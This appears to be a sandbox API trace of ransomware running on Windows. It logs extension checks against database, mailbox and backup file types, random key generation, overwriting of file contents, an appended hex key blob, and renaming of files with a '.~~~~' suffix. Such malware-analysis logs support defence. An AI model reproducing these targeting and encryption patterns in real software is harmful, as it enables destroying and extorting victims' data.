	[0076.949] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0076.949] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch="msp\r\n.pif") returned 0x0
	[0076.949] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\ose.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
	[0076.950] lstrlenW (lpString=".sqb") returned 4
	[0076.950] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".sqb") returned 0x0
	[0076.950] lstrlenW (lpString=".ost") returned 4
	[0076.950] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".ost") returned 0x0
	[0076.950] lstrlenW (lpString=".txt") returned 4
	[0076.950] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".txt") returned 0x0
	[0076.950] lstrlenW (lpString=".mdt") returned 4
	[0076.950] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".mdt") returned 0x0
	[0076.950] lstrlenW (lpString=".BDB") returned 4
	[0076.950] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".BDB") returned 0x0
	[0076.950] lstrlenW (lpString=".eql") returned 4
	[0076.950] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".eql") returned 0x0
	[0076.950] lstrlenW (lpString=".DBF") returned 4
	[0076.950] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".DBF") returned 0x0
	[0076.950] lstrlenW (lpString=".EQL") returned 4
	[0076.950] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".EQL") returned 0x0
	[0076.950] lstrlenW (lpString=".FDB") returned 4
	[0076.950] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".FDB") returned 0x0
	[0076.950] lstrlenW (lpString=".EDB") returned 4
	[0076.950] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".EDB") returned 0x0
	[0076.950] lstrlenW (lpString=".DACPAC") returned 7
	[0076.950] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".DACPAC") returned 0x0
	[0076.950] lstrlenW (lpString=".VHD") returned 4
	[0076.950] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".VHD") returned 0x0
	[0076.950] lstrlenW (lpString=".DBV") returned 4
	[0076.950] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".DBV") returned 0x0
	[0076.950] lstrlenW (lpString=".dacpac") returned 7
	[0076.950] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".dacpac") returned 0x0
	[0076.950] lstrlenW (lpString=".sdf") returned 4
	[0076.951] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".sdf") returned 0x0
	[0076.951] lstrlenW (lpString=".accdb") returned 6
	[0076.951] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".accdb") returned 0x0
	[0076.951] lstrlenW (lpString=".DBX") returned 4
	[0076.951] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".DBX") returned 0x0
	[0076.951] lstrlenW (lpString=".MDT") returned 4
	[0076.951] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".MDT") returned 0x0
	[0076.951] lstrlenW (lpString=".SQB") returned 4
	[0076.951] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".SQB") returned 0x0
	[0076.951] lstrlenW (lpString=".vhd") returned 4
	[0076.951] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".vhd") returned 0x0
	[0076.951] lstrlenW (lpString=".bac") returned 4
	[0076.951] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".bac") returned 0x0
	[0076.951] lstrlenW (lpString=".mdf") returned 4
	[0076.951] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".mdf") returned 0x0
	[0076.951] lstrlenW (lpString=".BAK") returned 4
	[0076.951] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".BAK") returned 0x0
	[0076.951] lstrlenW (lpString=".BAC") returned 4
	[0076.951] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".BAC") returned 0x0
	[0076.951] lstrlenW (lpString=".dbs") returned 4
	[0076.951] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".dbs") returned 0x0
	[0076.951] lstrlenW (lpString=".vhdx") returned 5
	[0076.951] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".vhdx") returned 0x0
	[0076.951] lstrlenW (lpString=".NDF") returned 4
	[0076.951] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".NDF") returned 0x0
	[0076.951] lstrlenW (lpString=".dat") returned 4
	[0076.951] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".dat") returned 0x0
	[0076.951] lstrlenW (lpString=".DBS") returned 4
	[0076.951] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".DBS") returned 0x0
	[0076.951] lstrlenW (lpString=".CKP") returned 4
	[0076.951] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".CKP") returned 0x0
	[0076.952] lstrlenW (lpString=".edb") returned 4
	[0076.952] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".edb") returned 0x0
	[0076.952] lstrlenW (lpString=".PST") returned 4
	[0076.952] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".PST") returned 0x0
	[0076.952] lstrlenW (lpString=".dbf") returned 4
	[0076.952] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".dbf") returned 0x0
	[0076.952] lstrlenW (lpString=".SQL") returned 4
	[0076.952] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".SQL") returned 0x0
	[0076.952] lstrlenW (lpString=".pst") returned 4
	[0076.952] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".pst") returned 0x0
	[0076.952] lstrlenW (lpString=".dbv") returned 4
	[0076.952] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".dbv") returned 0x0
	[0076.952] lstrlenW (lpString=".SDF") returned 4
	[0076.952] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".SDF") returned 0x0
	[0076.952] lstrlenW (lpString=".dtxs") returned 5
	[0076.952] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".dtxs") returned 0x0
	[0076.952] lstrlenW (lpString=".db3") returned 4
	[0076.952] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".db3") returned 0x0
	[0076.952] lstrlenW (lpString=".OST") returned 4
	[0076.952] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".OST") returned 0x0
	[0076.952] lstrlenW (lpString=".dbx") returned 4
	[0076.952] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".dbx") returned 0x0
	[0076.952] lstrlenW (lpString=".DB3") returned 4
	[0076.952] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".DB3") returned 0x0
	[0076.952] lstrlenW (lpString=".DAT") returned 4
	[0076.952] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".DAT") returned 0x0
	[0076.952] lstrlenW (lpString=".VHDX") returned 5
	[0076.952] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".VHDX") returned 0x0
	[0076.952] lstrlenW (lpString=".ndf") returned 4
	[0076.952] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".ndf") returned 0x0
	[0076.953] lstrlenW (lpString=".DB") returned 3
	[0076.953] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".DB") returned 0x0
	[0076.953] lstrlenW (lpString=".sql") returned 4
	[0076.953] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".sql") returned 0x0
	[0076.953] lstrlenW (lpString=".MYD") returned 4
	[0076.953] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".MYD") returned 0x0
	[0076.953] lstrlenW (lpString=".DBT") returned 4
	[0076.953] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".DBT") returned 0x0
	[0076.953] lstrlenW (lpString=".ACCDB") returned 6
	[0076.953] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".ACCDB") returned 0x0
	[0076.953] lstrlenW (lpString=".fdb") returned 4
	[0076.953] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".fdb") returned 0x0
	[0076.953] lstrlenW (lpString=".bak") returned 4
	[0076.953] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".bak") returned 0x0
	[0076.953] lstrlenW (lpString=".myd") returned 4
	[0076.953] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".myd") returned 0x0
	[0076.953] lstrlenW (lpString=".DTXS") returned 5
	[0076.953] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".DTXS") returned 0x0
	[0076.953] lstrlenW (lpString=".ckp") returned 4
	[0076.953] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".ckp") returned 0x0
	[0076.953] lstrlenW (lpString=".dbt") returned 4
	[0076.953] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".dbt") returned 0x0
	[0076.953] lstrlenW (lpString=".db") returned 3
	[0076.953] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".db") returned 0x0
	[0076.953] lstrlenW (lpString=".TXT") returned 4
	[0076.953] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".TXT") returned 0x0
	[0076.953] lstrlenW (lpString=".MDF") returned 4
	[0076.953] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".MDF") returned 0x0
	[0076.953] lstrlenW (lpString=".bdb") returned 4
	[0076.953] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".bdb") returned 0x0
	[0076.953] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0076.954] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0076.954] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x3ac250
	[0076.954] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0076.954] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0076.955] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0076.955] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0076.955] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0076.955] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0076.955] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2802fd0
	[0076.955] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=19694527824) returned 1
	[0076.955] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x97c462b0, dwHighDateTime=0x1d60e1e)) 
	[0076.955] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0076.955] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0076.955] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0076.955] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ac4a0
	[0076.955] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0076.955] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac4a0 | out: hHeap=0x300000) returned 1
	[0076.955] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0076.956] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0076.956] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3aaa48
	[0076.956] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0076.956] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0076.956] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aaa48 | out: hHeap=0x300000) returned 1
	[0076.956] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0076.956] GetLastError () returned 0x0
	[0076.956] GetLastError () returned 0x0
	[0076.956] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0076.956] GetLastError () returned 0x0
	[0076.956] GetLastError () returned 0x0
	[0076.957] ReadFile (in: hFile=0x11c, lpBuffer=0x280bfd0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesRead=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0077.028] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0077.028] WriteFile (in: hFile=0x11c, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0077.029] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0077.032] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0077.032] WriteFile (in: hFile=0x11c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0077.032] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0077.032] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0077.032] CloseHandle (hObject=0x11c) returned 1
	[0077.073] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aab98
	[0077.073] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\ose.exe"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe.~~~~" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\ose.exe.~~~~")) returned 1
	[0077.242] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aab98 | out: hHeap=0x300000) returned 1
	[0077.242] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0077.242] GetLastError () returned 0x0
	[0077.242] RtlWakeConditionVariable () returned 0x365f70
	[0077.242] GetCurrentThreadId () returned 0x3a4
	[0077.242] GetCurrentThreadId () returned 0x3a4
	[0077.242] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a46c0
	[0077.242] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a52f8 | out: hHeap=0x300000) returned 1
	[0077.242] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac7b0 | out: hHeap=0x300000) returned 1
	[0077.242] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a52f8
	[0077.242] lstrlenW (lpString=".scr") returned 4
	[0077.242] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".scr") returned 0x0
	[0077.242] lstrlenW (lpString=".cmd") returned 4
	[0077.242] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".cmd") returned 0x0
	[0077.242] lstrlenW (lpString=".dll") returned 4
	[0077.242] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".dll") returned 0x0
	[0077.242] lstrlenW (lpString=".bat") returned 4
	[0077.242] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".bat") returned 0x0
	[0077.243] lstrlenW (lpString=".cpl") returned 4
	[0077.243] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".cpl") returned 0x0
	[0077.243] lstrlenW (lpString=".sys") returned 4
	[0077.243] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".sys") returned 0x0
	[0077.243] lstrlenW (lpString=".msc") returned 4
	[0077.243] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".msc") returned 0x0
	[0077.243] lstrlenW (lpString=".com") returned 4
	[0077.243] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".com") returned 0x0
	[0077.243] lstrlenW (lpString=".lnk") returned 4
	[0077.243] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".lnk") returned 0x0
	[0077.243] lstrlenW (lpString=".msp") returned 4
	[0077.243] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".msp") returned 0x0
	[0077.243] lstrlenW (lpString=".pif") returned 4
	[0077.243] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".pif") returned 0x0
	[0077.243] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0077.243] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch="msp\r\n.pif") returned 0x0
	[0077.243] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128
	[0077.244] lstrlenW (lpString=".sqb") returned 4
	[0077.244] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".sqb") returned 0x0
	[0077.244] lstrlenW (lpString=".ost") returned 4
	[0077.244] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".ost") returned 0x0
	[0077.244] lstrlenW (lpString=".txt") returned 4
	[0077.244] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".txt") returned 0x0
	[0077.244] lstrlenW (lpString=".mdt") returned 4
	[0077.244] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".mdt") returned 0x0
	[0077.244] lstrlenW (lpString=".BDB") returned 4
	[0077.244] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".BDB") returned 0x0
	[0077.244] lstrlenW (lpString=".eql") returned 4
	[0077.244] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".eql") returned 0x0
	[0077.244] lstrlenW (lpString=".DBF") returned 4
	[0077.244] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".DBF") returned 0x0
	[0077.244] lstrlenW (lpString=".EQL") returned 4
	[0077.244] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".EQL") returned 0x0
	[0077.244] lstrlenW (lpString=".FDB") returned 4
	[0077.244] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".FDB") returned 0x0
	[0077.244] lstrlenW (lpString=".EDB") returned 4
	[0077.244] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".EDB") returned 0x0
	[0077.244] lstrlenW (lpString=".DACPAC") returned 7
	[0077.245] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".DACPAC") returned 0x0
	[0077.245] lstrlenW (lpString=".VHD") returned 4
	[0077.245] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".VHD") returned 0x0
	[0077.245] lstrlenW (lpString=".DBV") returned 4
	[0077.245] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".DBV") returned 0x0
	[0077.245] lstrlenW (lpString=".dacpac") returned 7
	[0077.245] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".dacpac") returned 0x0
	[0077.245] lstrlenW (lpString=".sdf") returned 4
